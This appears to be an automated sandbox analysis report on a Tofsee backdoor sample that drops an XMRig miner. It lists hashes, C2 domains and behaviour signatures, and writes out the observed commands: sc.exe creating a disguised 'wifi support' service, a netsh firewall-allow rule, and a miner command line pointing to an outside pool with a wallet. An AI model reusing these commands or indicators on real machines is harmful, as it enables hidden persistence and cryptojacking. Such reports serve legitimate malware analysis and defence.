Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    12-05-2023 11:39

General

  • Target

    file.exe

  • Size

    321KB

  • MD5

    bc7c2a8a4a55d3d8091b57b050721465

  • SHA1

    585d80c0eca34a12f2ac79e6e6d1c97c1bf6ab62

  • SHA256

    664804be369abbc16ab815f94b340fda7c9bfe43372d706c85ead10d609725ba

  • SHA512

    b2dbd260ce0577db7e15f19f44373910678f885745eb54a288788b384a799d0d72dd533f1d7c28da846b12170600dd6cff943b541e9bd8b5c119103c5cf97eb5

  • SSDEEP

    3072:4QZggfPJhkK5MZo43bw+2WMWYNRb/a+dK6TZHVuNCLPEqDYCYy5/9Q4kp7t:4APIXoWkWMWYNU+RTzHPEqDYDj

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1300
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\keyvvcdx\
      2⤵
        PID:1212
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\uxunegaq.exe" C:\Windows\SysWOW64\keyvvcdx\
        2⤵
          PID:1944
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create keyvvcdx binPath= "C:\Windows\SysWOW64\keyvvcdx\uxunegaq.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:976
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description keyvvcdx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:268
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start keyvvcdx
          2⤵
          • Launches sc.exe
          PID:2020
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1712
      • C:\Windows\SysWOW64\keyvvcdx\uxunegaq.exe
        C:\Windows\SysWOW64\keyvvcdx\uxunegaq.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1236
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:876
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1944

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\uxunegaq.exe

        Filesize

        13.4MB

        MD5

        ee414060feba5d552719efd8db2f42a8

        SHA1

        38bb3fe4d43fd45a7591966e0187494a26828d58

        SHA256

        f198708df4cb49d3091631bd02c637d3ebc99907b40d7270e75ff29691df7d63

        SHA512

        1279e511731dcff7c66e266faa344649f2769993d549da13e946316e9159ee3a05533a59a16cb16475b8bd114301d4afc548fe4eca7e3f35aebad74bb8e69988

      • C:\Windows\SysWOW64\keyvvcdx\uxunegaq.exe

        Filesize

        13.4MB

        MD5

        ee414060feba5d552719efd8db2f42a8

        SHA1

        38bb3fe4d43fd45a7591966e0187494a26828d58

        SHA256

        f198708df4cb49d3091631bd02c637d3ebc99907b40d7270e75ff29691df7d63

        SHA512

        1279e511731dcff7c66e266faa344649f2769993d549da13e946316e9159ee3a05533a59a16cb16475b8bd114301d4afc548fe4eca7e3f35aebad74bb8e69988

      • memory/876-88-0x00000000002C0000-0x00000000002D0000-memory.dmp

        Filesize

        64KB

      • memory/876-63-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/876-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/876-89-0x00000000002C0000-0x00000000002D0000-memory.dmp

        Filesize

        64KB

      • memory/876-110-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/876-61-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/876-67-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/876-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/876-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/876-71-0x0000000001890000-0x0000000001A9F000-memory.dmp

        Filesize

        2.1MB

      • memory/876-105-0x00000000059C0000-0x0000000005DCB000-memory.dmp

        Filesize

        4.0MB

      • memory/876-75-0x00000000000E0000-0x00000000000E6000-memory.dmp

        Filesize

        24KB

      • memory/876-90-0x00000000002C0000-0x00000000002D0000-memory.dmp

        Filesize

        64KB

      • memory/876-82-0x00000000002C0000-0x00000000002D0000-memory.dmp

        Filesize

        64KB

      • memory/876-81-0x00000000002C0000-0x00000000002D0000-memory.dmp

        Filesize

        64KB

      • memory/876-83-0x00000000002C0000-0x00000000002D0000-memory.dmp

        Filesize

        64KB

      • memory/876-84-0x00000000002C0000-0x00000000002D0000-memory.dmp

        Filesize

        64KB

      • memory/876-85-0x00000000002C0000-0x00000000002D0000-memory.dmp

        Filesize

        64KB

      • memory/876-86-0x00000000002C0000-0x00000000002D0000-memory.dmp

        Filesize

        64KB

      • memory/876-87-0x00000000002C0000-0x00000000002D0000-memory.dmp

        Filesize

        64KB

      • memory/876-74-0x0000000001890000-0x0000000001A9F000-memory.dmp

        Filesize

        2.1MB

      • memory/876-106-0x00000000005B0000-0x00000000005B7000-memory.dmp

        Filesize

        28KB

      • memory/876-78-0x00000000002C0000-0x00000000002D0000-memory.dmp

        Filesize

        64KB

      • memory/876-91-0x00000000002C0000-0x00000000002D0000-memory.dmp

        Filesize

        64KB

      • memory/876-92-0x00000000002C0000-0x00000000002D0000-memory.dmp

        Filesize

        64KB

      • memory/876-93-0x00000000002C0000-0x00000000002D0000-memory.dmp

        Filesize

        64KB

      • memory/876-94-0x00000000002C0000-0x00000000002D0000-memory.dmp

        Filesize

        64KB

      • memory/876-95-0x00000000002C0000-0x00000000002D0000-memory.dmp

        Filesize

        64KB

      • memory/876-96-0x00000000002C0000-0x00000000002D0000-memory.dmp

        Filesize

        64KB

      • memory/876-97-0x00000000002C0000-0x00000000002D0000-memory.dmp

        Filesize

        64KB

      • memory/876-98-0x00000000005A0000-0x00000000005A5000-memory.dmp

        Filesize

        20KB

      • memory/876-101-0x00000000005A0000-0x00000000005A5000-memory.dmp

        Filesize

        20KB

      • memory/876-102-0x00000000059C0000-0x0000000005DCB000-memory.dmp

        Filesize

        4.0MB

      • memory/1236-65-0x0000000000400000-0x00000000006CE000-memory.dmp

        Filesize

        2.8MB

      • memory/1300-59-0x0000000000400000-0x00000000006CE000-memory.dmp

        Filesize

        2.8MB

      • memory/1300-56-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/1944-111-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1944-112-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1944-119-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1944-120-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1944-121-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1944-122-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1944-123-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1944-124-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB